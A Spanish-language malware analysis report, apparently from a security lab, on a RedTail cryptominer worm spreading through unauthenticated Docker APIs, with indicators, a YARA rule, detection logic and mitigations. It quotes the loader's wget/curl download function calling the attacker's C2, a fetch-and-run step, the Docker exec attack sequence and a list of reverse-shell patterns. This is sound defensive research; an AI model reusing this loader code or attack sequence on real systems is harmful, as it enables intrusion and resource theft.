malware · cryptomining · redtail · docker · linux · honeypot · worm

Dentro de una campaña de RedTail: autopropagación a través de Docker APIs expuestas

Los honeypots de Kinryū Labs capturaron al criptominero RedTail propagándose a través de Docker Engine APIs sin autenticación y claves SSH soltadas. Este artículo documenta un caso actual, capturado por completo, con el cargador, el script de eliminación de competidores, el minero e indicadores en vivo.

Por Davis Zheng·

TLP:CLEAR. Autorizado para publicación. Procedente de la red de sensores honeypot de Kinryū Labs. Cada indicador aquí es defensivo. Capturamos la clave privada del atacante y no la publicamos. Aquí solo aparece la huella pública. Las IP y los dominios del atacante están neutralizados (defanged).

Resumen ejecutivo

  • 2375Docker API expuesta, la vía de entrada
  • 4arquitecturas de CPU objetivo
  • ~21sintrusión completa registrada en nuestro honeypot
  • propagablecliente SSH integrado en el minero

A principios y mediados de junio de 2026, nuestra red de honeypots capturó un gusano que se propaga a través de Docker Engine APIs expuestas a internet en TCP/2375 y suelta RedTail, un minero de Monero basado en XMRig que existe desde finales de 2023. El actor enumera los contenedores en ejecución a través de la Docker API abierta, ejecuta comandos dentro de cada uno, suelta una clave privada SSH para persistencia y movimiento lateral, y luego trae un cargador multiarquitectura. El cargador instala un minero que incluye su propio cliente SSH para propagarse y un sniffer libpcap para encontrar nuevos objetivos.

La carga útil es, sin lugar a dudas, RedTail. RedTail es más conocido por llegar a través de exploits de aplicaciones web (PAN-OS, Ivanti, Log4Shell, PHP-CGI, TP-Link), y su uso de Docker APIs expuestas también tiene informes previos. Este artículo añade un caso actual, capturado por completo, de esa entrega vía Docker API: el C2 y los indicadores en vivo, el soltado de clave SSH que permite al host autorreplicarse, y el script de eliminación de competidores que artículos anteriores señalaron sin recuperar. Rastreamos la lógica de autorreplicación internamente como docker.selfrep.

El minero lleva una configuración de tiempo de ejecución cifrada y ninguna cartera incrustada, así que no podemos sacar una dirección de Monero de la muestra. Recuperarla requiere una detonación en vivo con captura de red.

Valoraciones clave

  • La carga útil es RedTail (confianza alta). La cadena libredtail evbuffer_tls, el artefacto .redtail, el respaldo redtail en el cargador y la compilación con config cifrada / sin cartera encajan todos con las versiones de la familia posteriores a 2024.
  • La campaña es propagable como gusano (confianza alta). Las herramientas de Docker API, la clave soltada y el cliente SSH integrado del minero son todo lo que un host recién infectado necesita para ir a buscar a la siguiente víctima por su cuenta.
  • El operador va por el dinero (confianza media). El robo de credenciales y el sniffing parecen servir a la propagación más que a un objetivo aparte de robo de datos.
  • El vector de Docker API tiene informes previos para RedTail y sigue funcionando bien. Un solo socket expuesto en TCP/2375 le da al actor ejecución de código como root dentro de cada contenedor del host.

Cadena de ataque

[0] Reconocimiento     Escaneo de internet en busca de Docker API expuesta :2375

[1] Acceso inicial     Docker API sin autenticación → enumerar contenedores
        │              (T1190 Exploit Public-Facing Application)

[2] Ejecución          docker exec en cada contenedor en ejecución
        │              (T1609 Container Administration Command)

[3] Persistencia /     Soltar clave ed25519 "dlr@sftp" en ~/.ssh del contenedor
    prep. lateral      (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)

[4] Entrada (etapa 2)  Traer cargador: scp [email protected][.]113:sh   (primario)
        │                              hxxps://14.46.136[.]77/sh      (respaldo)
        │              (T1105 Ingress Tool Transfer)

[5] Evasión defensas   Cargador: hallar montajes noexec → evitarlos; nombre oculto ".<random>";
        │              ejecutar/descartar eliminación de competidores "clean"

[6] Entrada (etapa 3)  El cargador trae el ELF de arquitectura (x86_64/i686/aarch64/arm7) del C2

[7] Ejecución          memfd_create → lanzamiento sin archivo del minero RedTail
        │              (T1620 Reflective Code Loading)

[8] Impacto            Minería de Monero con XMRig (T1496 Resource Hijacking)
   + Acceso a cred.    sniffing libpcap + robo de ssh-agent/claves (T1040 / T1552.004)
   + Movim. lateral    Cliente SSH integrado se propaga a hosts descubiertos (T1021.004)

Etapa 1: acceso inicial vía la Docker API

El actor va a por instancias de Docker Engine que exponen la API REST sin autenticación en TCP/2375. Nuestro honeypot de Docker API emula un motor real, y registró toda la secuencia en unos 21 segundos:

  1. GET /version y GET /containers/json para tomar la huella del motor y listar contenedores.
  2. POST /containers/{id}/exec y luego POST /exec/{id}/start contra cada contenedor en ejecución.
  3. Una carga útil de shell dentro del contenedor que escribe la clave SSH del atacante y trae el cargador.

Ese último paso es lo que convierte esto de un minero puntual en un gusano. Un host que se infecta y que resulta exponer su propia Docker API ejecutará la misma rutina de listar-y-ejecutar contra el siguiente conjunto de víctimas. A esa lógica la llamamos docker.selfrep.

Clave SSH soltada (persistencia y movimiento lateral)

AtributoValor
Tipoclave privada OpenSSH ed25519
Comentariodlr@sftp
Huella SHA256 de la clave públicaSHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg
Origen de obtención (canal SCP)[email protected][.]113

No publicamos la clave privada. Usa la huella de arriba para buscarla: revisa authorized_keys y ~/.ssh por todo tu parque de máquinas.

Etapa 2: el cargador /sh

SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf MD5: 0df4fe0f1e3e8b0941f0d1442f132700 Tipo: script de shell POSIX

Un cargador pequeño, portátil y cuidadoso.

Nombre de archivo oculto aleatorio. get_random_string() arma un nombre alfanumérico de 4 a 35 caracteres, probando /dev/urandom, luego openssl, luego $RANDOM, y recurriendo a la cadena literal redtail si todo eso falla. Ese respaldo es una señal cómoda de la familia. El minero aterriza como .<random> con un punto inicial para mantenerlo fuera de un ls normal. VirusTotal tiene esta muestra con uno de esos nombres, .mn6VTucEsFZY1PdSC2QAq.

Ayudante de descarga. dlr() desactiva la verificación TLS, ya que el C2 es autofirmado, y recurre de wget a curl:

dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
        || curl -skO hxxps://14.46.136[.]77/$1 ; }

Staging consciente de noexec. El cargador lee /proc/mounts, descarta cada montaje noexec y ejecuta find / -user $(whoami) -perm -u=rwx para encontrar un sitio donde pueda escribir y ejecutar a la vez. Prueba la escritura en cada candidato con un dd o truncate de 2 MB antes de usarlo. La mayoría de los cargadores simplemente escriben en /tmp y siguen. Este se esfuerza en aterrizar donde sabe que puede ejecutar.

Limpieza de competidores. Trae y ejecuta clean (dlr clean; chmod +x clean; sh clean; rm -rf clean), y luego lo elimina. También conseguimos ese script y lo desglosamos abajo. Va a por la persistencia y el staging de los rivales, dejando en paz los procesos en ejecución.

Ordenando. Elimina .redtail y el anterior archivo .<random> antes de instalar el nuevo.

Elección de arquitectura. Un conmutador uname -mp elige la compilación:

Coincidencia ARCHDescarga
x86_64 / amd64x86_64
i[3456]86i686
armv8 / aarch64aarch64
armv7arm7
desconocidaprueba las cuatro por fuerza bruta, ejecuta cada una

Ejecución. ./.<random> $1, pasando el $1 original del cargador, que RedTail trata como una etiqueta de campaña o de vector.

El script de eliminación de competidores clean

SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e MD5: 397ff5e54194072e6d8a44a0d8cc1b27 Tipo: script Bash (795 bytes)

Capturamos clean en un golpe posterior en los honeypots. Deja en paz los procesos en ejecución. Todo su trabajo es despejar otro malware de la máquina para que RedTail la tenga para sí:

  • Limpieza de cron. Para cada crontab de usuario (/var/spool/cron/crontabs/*), crontab del sistema (/etc/crontab, /etc/crontabs), directorio de inserción (/etc/cron.{hourly,daily,weekly,monthly,d}) y /etc/anacrontab, quita el bit de inmutabilidad con chattr -ia (el malware rival lo pone para proteger sus propias líneas cron) y luego borra cualquier línea que coincida con un patrón de reinfección:

    wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -d

    Eso saca las cunas de descarga y las reverse shells de otras cuadrillas dejando en paz las entradas cron legítimas.

  • Matar a un rival nombrado. Desactiva y detiene el servicio systemd c3pool_miner, un disparo directo al minero c3pool.

  • Borrado del staging. Vacía /tmp, /var/tmp y /dev/shm con rm -rf, despejando las cargas útiles de los competidores y el espacio de trabajo que comparten.

Golpear la persistencia y el staging es la jugada más silenciosa. Sobrevive a un reinicio, donde las entradas cron sobrantes reinfectarían el host de otro modo, y evita el ruido de matar procesos en masa.

Etapa 3: el minero RedTail (x86_64)

SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 MD5: aaa5098c9caafccf15362b017825c64b Tamaño: 1.880.264 bytes (1,79 MB) Formato: ELF 64-bit LSB EXEC (enlazado estáticamente, non-PIE), x86-64, entrada 0xaa9e18 Empaquetador: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team) VirusTotal: 36/62 malicioso, puntuación comunitaria −60, primera vez visto ~2026-06-05 Etiquetas de amenaza: trojan.usblem26/abminer; familias usblem26 / abminer / gen3

Empaquetado y antianálisis

  • UPX 5.02 con la cabecera intacta. upx -d lo desempaqueta limpiamente a un ELF enlazado estáticamente de unos 5 MB.
  • Ejecución sin archivo. Los code insights de VirusTotal muestran que usa memfd_create (syscall 0x13f) para ejecutar la carga útil directamente desde un descriptor de archivo en memoria anónimo, con reejecución vía /proc/self/exe y staging en /dev/shm. Nada toca el disco, así que el AV basado en disco nunca llega a mirar.
  • Suplantación del nombre de proceso (sets-process-name) para mezclarse con procesos normales.
  • Evasión de depurador (detect-debug-environment). Los artículos públicos sobre RedTail describen autodepuración ptrace y que el binario mata activamente GDB.
  • Una nota sobre el AV del host. Microsoft Defender marca el ELF empaquetado como Trojan:Linux/Multiverze!rfn y bloquea su lectura desde disco, así que el triaje estático tiene que ocurrir en una máquina aislada o en memoria.

Componentes confirmados (de las cadenas .rodata desempaquetadas)

Núcleo de minería XMRig

randomx/0   cryptonight-monerov7   cryptonight-monerov8
XMRIG_VERSION  donate-level  donate-over-proxy  pool address
stratum+tcp://   stratum+ssl://
/var/build/xmrig/scripts/build/   (hwloc-2.12.2, abseil-cpp)

libredtail, el stack de red que define a la familia

libredtail evbuffer_tls
Connection  keepalive  User-Agent

Un libevent a medida más un cliente HTTP TLS. La cadena libredtail evbuffer_tls es lo que separa a RedTail de una compilación XMRig de serie.

Cliente SSH integrado (movimiento lateral y robo de credenciales)

ssh-userauth   ssh-ed25519   [email protected]
[email protected]   [email protected]
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"

El minero lleva un cliente SSH completo. Ese es el motor detrás del soltado de la clave dlr@sftp y de la propagación. El binario del minero gestiona su propio robo de credenciales y la propagación SSH. Nada de eso vive en el dropper.

libpcap integrado (sniffing de red)

"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"

Captura de paquetes en el host, lo que encaja con el descubrimiento local de hosts y credenciales.

Tablas de codificación. Aparecen tanto el alfabeto Base64 estándar como el seguro para URL (...+/ y ...-_), usados por la rutina de decodificación de la config.

La configuración y el hueco de atribución

Buscamos a fondo en el binario desempaquetado IPs, URLs, stratum, pool y patrones de dirección de Monero. Los únicos pools ahí son los pools de donación al desarrollador integrados de XMRig (donate.ssl.xmrig.com, donate.v2.xmrig.com), que toda compilación XMRig lleva y que el operador no controla. No hay ningún pool, proxy ni cartera del atacante en texto plano.

Eso es deliberado, y coincide con hacia dónde ha ido RedTail desde 2024. La configuración de minería está cifrada y solo se descifra en memoria en tiempo de ejecución, y las compilaciones recientes no llevan ninguna cartera, apuntando en su lugar a un pool privado o pool-proxy. Así que:

  • No podemos sacar una cartera de Monero de esta muestra.
  • El pool-proxy solo sale de una detonación en vivo con un sumidero de red (ver metodología).

Atribución

Esto es RedTail, también conocido como el minero .redtail, un minero de Monero derivado de XMRig descrito por primera vez hacia finales de 2023 y principios de 2024. Lo que encaja:

  • La cadena libredtail evbuffer_tls, que le es única.
  • El artefacto .redtail y el respaldo redtail en el cargador.
  • La compilación con config cifrada / sin cartera, el cargador multiarquitectura, el script de competidores clean y el robo de credenciales SSH, todos rasgos conocidos de RedTail.

A modo de comparación, los vectores de entrega ya registrados para la familia son CVE-2024-3400 (PAN-OS), CVE-2023-46805 y CVE-2024-21887 (Ivanti), CVE-2021-44228 (Log4Shell), CVE-2024-4577 (PHP-CGI) y CVE-2023-1389 (TP-Link). VirusTotal también etiqueta esta muestra con CVE-2021-41773 (recorrido de rutas a RCE en Apache 2.4.49/2.4.50) y CVE-2015-2808 (RC4, “Bar Mitzvah”).

El uso de Docker APIs expuestas por RedTail tiene informes previos, así que el vector en sí es viejo. Este informe añade una captura actual del mismo: el C2 en vivo y los hashes de las cargas útiles, el script clean recuperado y el detalle de autorreplicación por clave soltada.

Perspectiva

Las cuadrillas de criptojacking cambian cómo entran mucho más a menudo de lo que cambian la carga útil, y el cargador modular de RedTail facilita intercambiar un método de entrada por otro. Los sockets de Docker expuestos están justo en ese terreno. Buena parte de la actividad oportunista en Linux ha derivado hacia configuraciones erróneas nativas de la nube, y una Docker API abierta le entrega al atacante root dentro de cada contenedor de la máquina. RedTail ya ha estado aquí antes, y el suministro constante de puertos 2375 expuestos a internet lo mantiene rentable.

Creemos probable que el operador conserve el vector de Docker API junto a los exploits web en lugar de cambiar uno por el otro, lo que simplemente le da más hosts alcanzables. Si ejecutas contenedores, trata una Docker API expuesta como si estuviera en el internet público, porque en la práctica lo está.

Indicadores de compromiso

Red

IndicadorContexto
14.46.136[.]77C2 / host de cargas útiles (HTTPS, autofirmado). Sirve /sh, /clean, /x86_64, /i686, /aarch64, /arm7. Filtra el egress de nube por ASN.
hxxps://14.46.136[.]77/shURL del cargador de etapa 2
hxxps://14.46.136[.]77/cleanScript de eliminación de competidores (purga de cron / staging)
217.60.195[.]113Origen de clave / carga útil por SCP ([email protected][.]113)

Archivos (SHA256 / MD5)

ArchivoSHA256MD5
sh (cargador)03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf0df4fe0f1e3e8b0941f0d1442f132700
clean (purga de competidores)d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e397ff5e54194072e6d8a44a0d8cc1b27
x86_64 (minero)59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5aaa5098c9caafccf15362b017825c64b

Artefactos en el host

IndicadorContexto
.redtailArtefacto del minero / marcador de infección previa
.<random alnum>, p. ej. .mn6VTucEsFZY1PdSC2QAqNombre de archivo oculto del minero (punto inicial + aleatorio)
Comentario de clave SSH dlr@sftpClave soltada
Huella de pubkey SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vgHuella de la clave soltada; búscala en authorized_keys
Archivos en staging en /dev/shm, /var/tmp, /tmp o cualquier directorio rwx escribible por el usuarioUbicaciones de staging

De comportamiento

  • memfd_create (syscall 0x13f) ejecutando un ELF desde un descriptor de archivo anónimo.
  • Un proceso que lee /proc/mounts y luego ejecuta find / -perm -u=rwx (staging consciente de noexec).
  • Suplantación del nombre de proceso; evasión de depurador basada en ptrace.
  • stratum+tcp:// / stratum+ssl:// saliente a un host no estándar.
  • systemctl disable c3pool_miner y systemctl stop c3pool_miner (desalojo del competidor).
  • chattr -ia contra rutas de crontab seguido de inmediato por el borrado masivo de líneas wget / curl / reverse shell de cron.
  • rm -rf de /tmp/*, /var/tmp/* y /dev/shm/* (borrado del staging del competidor).

Detección

Detección en el host (lógica de proceso / EDR)

Alerta sobre un proceso que, en secuencia:

  1. lee /proc/mounts, luego ejecuta find / ... -perm -u=rwx ..., y
  2. escribe un archivo de nombre aleatorio con punto inicial en un directorio escribible por todos, y
  3. llama a memfd_create seguido de ejecución desde el descriptor de archivo resultante.

Cualquiera de estos por sí solo es débil. Los tres juntos son una señal fuerte de este cargador.

YARA candidata (binario desempaquetado)

rule RedTail_Miner_libredtail
{
    meta:
        description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
        reference   = "Kinryu Labs CTI 2026-06-12"
        hash        = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
    strings:
        $rt  = "libredtail evbuffer_tls" ascii
        $xm1 = "randomx/0" ascii
        $xm2 = "stratum+ssl://" ascii
        $ssh = "[email protected]" ascii
    condition:
        uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}

Esta regla coincide con el binario desempaquetado por UPX. Para la muestra empaquetada, apóyate en la firma UPX, el tamaño de archivo (~1,79 MB) y los hashes de VirusTotal de arriba.

Detección en red

  • Bloquea y alerta sobre el tráfico saliente a 14.46.136[.]77 y 217.60.195[.]113.
  • Alerta sobre stratum+tcp / stratum+ssl a cualquier destino no incluido en la lista de permitidos.
  • Alerta sobre GET HTTP(S) de rutas de una sola letra o con nombre de arquitectura (/sh, /x86_64, /aarch64, /arm7).

Mitigación

  1. No expongas la Docker API (2375/2376) a redes no confiables. Vincúlala a localhost o a un socket protegido y exige autenticación por certificado de cliente TLS. Ese único control rompe de raíz el paso de acceso inicial.
  2. Audita ~/.ssh/authorized_keys por todo el parque en busca de la clave dlr@sftp y su huella.
  3. Filtra el egress y monitoriza el tráfico stratum y las IP de C2 de arriba.
  4. Monta /tmp, /var/tmp y /dev/shm con noexec donde puedas. Sube el listón, aunque este cargador es consciente de noexec y se pondrá a buscar otro directorio escribible y ejecutable.
  5. Endurece los contenedores: descarta capabilities que no necesites, usa sistemas de archivos raíz de solo lectura y ejecuta con privilegios mínimos para que un exec-in no le entregue al atacante un entorno de ejecución utilizable.

Mapeo de MITRE ATT&CK

TácticaTécnica
Initial AccessT1190 Exploit Public-Facing Application (Docker API)
ExecutionT1609 Container Administration Command; T1059.004 Unix Shell
PersistenceT1098.004 SSH Authorized Keys
Defense EvasionT1027.002 Software Packing (UPX); T1620 Reflective / Memory Code Loading (memfd_create); T1564.001 Hidden Files; T1036.004 Masquerade Task or Process Name; T1622 Debugger Evasion; T1070.004 File Deletion
Credential AccessT1552.004 Private Keys; T1040 Network Sniffing
DiscoveryT1046 Network Service Scanning; T1082 System Information Discovery; T1057 Process Discovery; T1018 Remote System Discovery
Lateral MovementT1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer
Command and ControlT1071.001 Web Protocols; T1573 Encrypted Channel; T1105 Ingress Tool Transfer
ImpactT1496 Resource Hijacking (cryptomining)

Metodología y notas del analista

  • Sacamos las etapas 2 y 3 del C2 en vivo por HTTPS. 14.46.136[.]77 da tiempo de espera (timeout) para IPs de nube (lo intentamos desde AWS/EC2) pero sirve bien a IPs residenciales y de consumo, lo que es un filtro de egress por ASN o geografía que rompe los sandboxes de nube automatizados.
  • El ELF empaquetado dispara Microsoft Defender (Trojan:Linux/Multiverze!rfn) y ni siquiera puede leerse desde disco en un host Windows protegido, así que el primer triaje ocurrió en memoria, desempaquetando el archivo dentro de un proceso Python sin escribir nunca el ELF en bruto.
  • El desempaquetado se hizo con upx -d en una FLARE-VM aislada. Analizamos el binario desempaquetado de forma estática, por cadenas y estructura, sin ejecutarlo.
  • No ejecutamos el minero, así que el pool-proxy descifrado en tiempo de ejecución y la config de Monero no están en este informe.

Seguimiento recomendado (para obtener el indicador del pool-proxy)

Para conseguir el pool-proxy, detona el binario desempaquetado en una máquina Linux aislada (REMnux sirve) con:

  • un sumidero de red (INetSim, o fakedns más un atrapatodo TCP) para sacar la conexión,
  • tcpdump -i any -w redtail.pcap para capturar el CONNECT y el login stratum, y
  • strace -f para agarrar la config en texto plano que el minero descifra justo antes de su primer connect(), que a menudo es legible incluso cuando TLS la oculta en el cable.

Ese host y puerto son el último indicador todavía pendiente de esta campaña.

Muestras

Las muestras (el cargador, el script clean y el minero empaquetado) están disponibles para otros investigadores y defensores que las soliciten. Escribe a [email protected] con una breve nota sobre quién eres y para qué las necesitas.

How to cite
Kinryū Labs (2026). Dentro de una campaña de RedTail: autopropagación a través de Docker APIs expuestas. https://kinryu.sh/es/reports/redtail-cryptominer-exposed-docker-api/